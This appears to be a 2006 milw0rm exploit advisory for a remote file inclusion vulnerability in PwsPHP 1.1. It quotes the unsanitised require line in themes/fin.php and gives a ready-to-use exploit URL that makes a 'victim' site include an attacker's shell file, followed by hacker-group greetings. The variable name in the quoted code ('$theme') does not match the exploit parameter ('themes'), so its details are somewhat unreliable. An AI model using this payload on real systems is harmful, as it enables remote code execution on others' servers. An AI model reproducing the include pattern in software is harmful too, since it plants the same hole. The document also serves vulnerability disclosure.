========================================================================================================================== PwsPHP v1.1 (theme) File inclusion Vulnerablity =============================================== Script:PwsPHP ============= Version:1.1 ============= script site:http://www.pwsphp.com ================================= Author:Dr Max Virus ======================================= Bug in; themes/fin.php ============== Vul Code: require ("$theme/fin.php") ========================== Exploit: www.victim.com/script_path/themes/fin.php?themes=shell.txt? =========================================================== Gr33Ts:str0ke-the master-Thehacker-NETTOXIC-ShiKAa-xoron-0xygen-All Ayyildiz Team-All My Friends ================================================================================================ http://www.comscripts.com/scripts/php.pwsphp.1517.html ================================================================================================ # milw0rm.com [2006-10-31]